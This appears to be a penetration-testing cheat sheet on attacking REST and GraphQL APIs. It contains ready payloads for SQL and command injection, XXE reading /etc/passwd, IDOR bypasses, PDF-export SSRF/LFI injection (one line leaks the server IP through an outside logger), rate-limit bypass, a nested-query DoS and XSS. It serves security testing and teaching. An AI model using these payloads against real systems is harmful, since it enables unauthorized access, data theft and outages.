Pentest Book
Search…
APIs

Tools

1
# Tools
2
https://github.com/Fuzzapi/fuzzapi
3
https://github.com/Fuzzapi/API-fuzzer
4
https://github.com/flipkart-incubator/Astra
5
https://github.com/BBVA/apicheck/
6
https://github.com/ngalongc/openapi_security_scanner
7
https://github.com/assetnote/kiterunner
8
https://github.com/s0md3v/dump/tree/master/json2paths
9
# Must read
10
# https://blog.assetnote.io/2021/04/05/contextual-content-discovery/
11
12
# Wordlists
13
https://github.com/chrislockard/api_wordlist
14
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/common-api-endpoints-mazen160.txt
15
https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content/api
16
https://github.com/fuzzdb-project/fuzzdb/blob/master/discovery/common-methods/common-methods.txt
17
18
# Swagger to burp
19
https://rhinosecuritylabs.github.io/Swagger-EZ/
20
21
# Checklist
22
https://gitlab.com/pentest-tools/API-Security-Checklist/-/blob/master/README.md
23
24
# Best mindmap
25
https://dsopas.github.io/MindAPI/play/
Copied!

General

1
# SOAP uses: mostly HTTP and XML, have header and body
2
# REST uses: HTTP, JSON , URL and XML, defined structure
3
# GraphQL uses: Custom query language, single endpoint
4
5
# Always check for race conditions and memory leaks (%00)
6
7
# SQLi tip
8
{"id":"56456"} - OK
9
{"id":"56456 AND 1=1#"} -> OK
10
{"id":"56456 AND 1=2#"} -> OK
11
{"id":"56456 AND 1=3#"} -> ERROR
12
{"id":"56456 AND sleep(15)#"} -> SLEEP 15 SEC
13
14
# Shell injection
15
- RoR
16
Check params like ?url=Kernel#open
17
and change like ?url=|ls
18
19
# Tip
20
If the request returns nothing:
21
- Add this header to siumlate a Frontend
22
"X-requested-with: XMLHttpRequest"
23
- Add params like:
24
GET /api/messages > 401
25
GET /api/messages?user_id=1 > 200
26
27
# Checklist:
28
• Auth type
29
• Max retries in auth
30
• Encryption in sensible fields
31
• Test from most vulnerable to less
32
◇ Organization's user management
33
◇ Export to CSV/HTML/PDF
34
◇ Custom views of dashboards
35
◇ Sub user creation&management
36
◇ Object sharing (photos, posts,etc)
37
• Archive.org
38
• Censys
39
• VirusTotal
40
• Abusing object level authentication
41
• Abusing weak password/dictionary brute forcing
42
• Testing for mass management, instead /api/videos/1 -> /api/my_videos
43
• Testing for excessive data exposure
44
• Testing for command injection
45
• Testing for misconfigured permissions
46
• Testing for SQL injection
47
48
Access
49
• Limit in repeated requests
50
• Check always HTTPS
51
• Check HSTS
52
• Check distinct login paths /api/mobile/login | /api/v3/login | /api/magic_link
53
• Even id is not numeric, try it /?user_id=111 instead /[email protected]
54
• Bruteforce login
55
• Try mobile API versions
56
• Don't assume developer, mobile and web API is the same, test them separately
57
58
Input
59
• Check distinct methods GET/POST/PUT/DELETE.
60
• Validate content-type on request Accept header (e.g. application/xml, application/json, etc.)
61
• Validate content-type of posted data (e.g. application/x-www-form-urlencoded, multipart/form-data, application/json, etc.).
62
• Validate user input (e.g. XSS, SQL-Injection, Remote Code Execution, etc.).
63
• Check sensitive data in the URL.
64
• Try input injections in ALL params
65
• Locate admin endpoints
66
• Try execute operating system command
67
◇ Linux :api.url.com/endpoint?name=file.txt;ls%20/
68
• XXE
69
<!DOCTYPE test [ <!ENTITY xxe SYSTEM “file:///etc/passwd”> ]>
70
• SSRF
71
• Check distinct versions api/v{1..3}
72
• If REST API try to use as SOAP changing the content-type to "application/xml" and sent any simple xml to body
73
• IDOR in body/header is more vulnerable than ID in URL
74
• IDOR:
75
◇ Understand real private resources that only belongs specific user
76
◇ Understand relationships receipts-trips
77
◇ Understand roles and groups
78
◇ If REST API, change GET to other method Add a “Content-length” HTTP header or Change the “Content-type”
79
◇ If get 403/401 in api/v1/trips/666 try 50 random IDs from 0001 to 9999
80
• Bypass IDOR limits:
81
◇ Wrap ID with an array {“id”:111} --> {“id”:[111]}
82
◇ JSON wrap {“id”:111} --> {“id”:{“id”:111}}
83
◇ Send ID twice URL?id=<LEGIT>&id=<VICTIM>
84
◇ Send wildcard {"user_id":"*"}
85
◇ Param pollution
86
▪ /api/get_profile?user_id=<victim’s_id>&user_id=<user_id>
87
▪ /api/get_profile?user_id=<legit_id>&user_id=<victim’s_id>
88
▪ JSON POST: api/get_profile {“user_id”:<legit_id>,”user_id”:<victim’s_id>}
89
▪ JSON POST: api/get_profile {“user_id”:<victim’s_id>,”user_id”:<legit_id>}
90
▪ Try wildcard instead ID
91
• If .NET app and found path, Developers sometimes use "Path.Combine(path_1,path_2)" to create full path. Path.Combine has weird behavior: if param#2 is absolute path, then param#1 is ignored.
92
◇ https://example.org/download?filename=a.png -> https://example.org/download?filename=C:\\inetpub\wwwroot\a.png
93
◇ Test: https://example.org/download?filename=\\smb.dns.praetorianlabs.com\a.png
94
• Found a limit / page param? (e.g: /api/news?limit=100) It might be vulnerable to Layer 7 DoS. Try to send a long value (e.g: limit=999999999) and see what happens :)
95
96
Processing
97
• Check if all the endpoints are protected behind authentication.
98
• Check /user/654321/orders instead /me/orders.
99
• Check auto increment ID's.
100
• If parsing XML, check XXE.
101
• Check if DEBUG is enabled.
102
• If found GET /api/v1/users/<id> try DELETE / POST to create/delete users
103
• Test less known endpoint POST /api/profile/upload_christmas_voice_greeting
104
105
Output
106
• If you find sensitive resource like /receipt try /download_receipt,/export_receipt.
107
• DoS Limit: /api/news?limit=100 -> /api/news?limit=9999999999
108
• Export pdf - try XSS or HTML injection
109
◇ LFI: username=<iframe src="file:///C:/windows/system32/drivers/etc/hosts" height=1000 width=1000/>
110
◇ SSRF: <object data=”http://127.0.0.1:8443”/>
111
◇ Open Port: <img src=”http://127.0.0.1:445”/> if delay is < 2.3 secs is open
112
◇ Get real IP: <img src=”https://iplogger.com/113A.gif”/>
113
◇ DoS: <img src=”http://download.thinkbroadband.com/1GB.zip”/>
114
<iframe src=”http://example.com/RedirectionLoop.aspx”/>
115
116
117
# Endpoint bypasses
118
# whatever.com/api/v1/users/sensitivedata -> access denied
119
# Add to the final endpoint
120
.json
121
?
122
..;/
123
\..\.\getUSer
124
/
125
??
126
&details
127
#
128
%
129
%20
130
%09
131
132
# General info about APIs
133
https://openapi.tools/
134
135
# Common vulns
136
- API Exposure
137
- Misconfigured Caching
138
- Exposed tokens
139
- JWT Weaknesses
140
- Authorization Issues / IDOR / BOLA
141
- Undocumented Endpoints
142
- Different Versions
143
- Rate Limiting (BF allowed)
144
- Race Conditions
145
- XXE injection
146
- Switching Content Type
147
- HTTP Methods
148
- Injection Vulnerabilities
Copied!

REST

1
# Predictable endppoints
2
GET /video/1
3
DELETE /video/1
4
GET /video/1/delete
5
GET /video/2
6
7
# Create POST
8
# Read GET
9
# Update POST PUT
10
# Delete PUT DELETE
11
12
# Fuzz users & methods to enumerate like /$user$/1 with https://github.com/fuzzdb-project/fuzzdb/blob/master/discovery/common-methods/common-methods.txt
13
14
# Check if supports SOAP. Change the content-type to "application/xml", add a simple XML in the request body, and see how the API handles it.
Copied!

GraphQL

Tools

1
# https://github.com/doyensec/inql
2
# https://github.com/swisskyrepo/GraphQLmap
3
# https://apis.guru/graphql-voyager/
4
# https://github.com/nikitastupin/clairvoyance
5
# https://gitlab.com/dee-see/graphql-path-enum
6
#https://github.com/assetnote/batchql
7
#https://github.com/dolevf/graphw00f
8
#https://insomnia.rest/graphql/
Copied!

Resources

1
https://blog.yeswehack.com/yeswerhackers/how-exploit-graphql-endpoint-bug-bounty/
2
https://blog.securelayer7.net/api-penetration-testing-with-owasp-2017-test-cases/
Copied!

Common bugs

1
# IDOR
2
Try access any user id other than yours
3
4
5
# SQL/NoSQL Injections
6
"filters":{
7
"username":"test' or 1=1--"
8
}
9
10
# Rate Limit
11
Because of the nature of GraphQL, we can send multiple queries in a single request by batching them together. If the developers did not implement any kind of mechanism to prevent us from sending batch requests than we could potentially bypass rate limiting by sending the following queries in a single request:
12
mutation {login(input:{email:"[email protected]" password:"password"}){success jwt}}
13
mutation {login(input:{email:"[email protected]" password:"password"}){success jwt}}
14
mutation {login(input:{email:"[email protected]" password:"password"}){success jwt}}
15
16
# Info disclosure
17
A query can be constructed from scratch from verbose error messages even when we don’t have the benefits of introspection.
18
19
# DOS
20
Similar to XXE billion laughs attack
21
22
query {
23
&amp;amp;nbsp; posts{
24
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; title
25
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; comments{
26
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; comment
27
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; user{
28
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; comments{
29
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; user{
30
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; comments{
31
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; comment
32
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; &amp;amp;nbsp; user{
33
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; &amp;amp;nbsp; comments{
34
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; &amp;amp;nbsp; comment
35
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; user{
36
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; comments{
37
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; comment
38
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; user{
39
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; ...
40
}
41
}
42
}
43
}
44
}
45
}
46
}
47
}
48
}
49
}
50
}
51
}
Copied!

Tips

1
# Easy to enumeration
2
3
# Create {createPost(...)}
4
# Read {post(id:"1"){id,..}}
5
# Update {updatePost(...)}
6
# Delete {deletePost(...)}
7
8
To test a server for GraphQL introspection misconfiguration:
9
1) Intercept the HTTP request being sent to the server
10
2) Replace its post content / query with a generic introspection query to fetch the entire backend schema
11
3) Visualize the schema to gather juicy API calls.
12
4) Craft any potential GraphQL call you might find interesting and HACK away!
13
14
example.com/graphql?query={__schema%20{%0atypes%20{%0aname%0akind%0adescription%0afields%20{%0aname%0a}%0a}%0a}%0a}
15
16
XSS in GraphQL:
17
http://localhost:4000/example-1?id=%3C/script%3E%3Cscript%3Ealert('I%20%3C3%20GraphQL.%20Hack%20the%20Planet!!')%3C/script%3E%3Cscript%3E
18
http://localhost:4000/example-3?id=%3C/script%3E%3Cscript%3Ealert('I%20%3C3%20GraphQL.%20Hack%20the%20Planet!!')%3C/script%3E%3Cscript%3E
19
20
# Introspection query
21
__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}}
22
# Encoded
23
fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}
Copied!
Last modified 2mo ago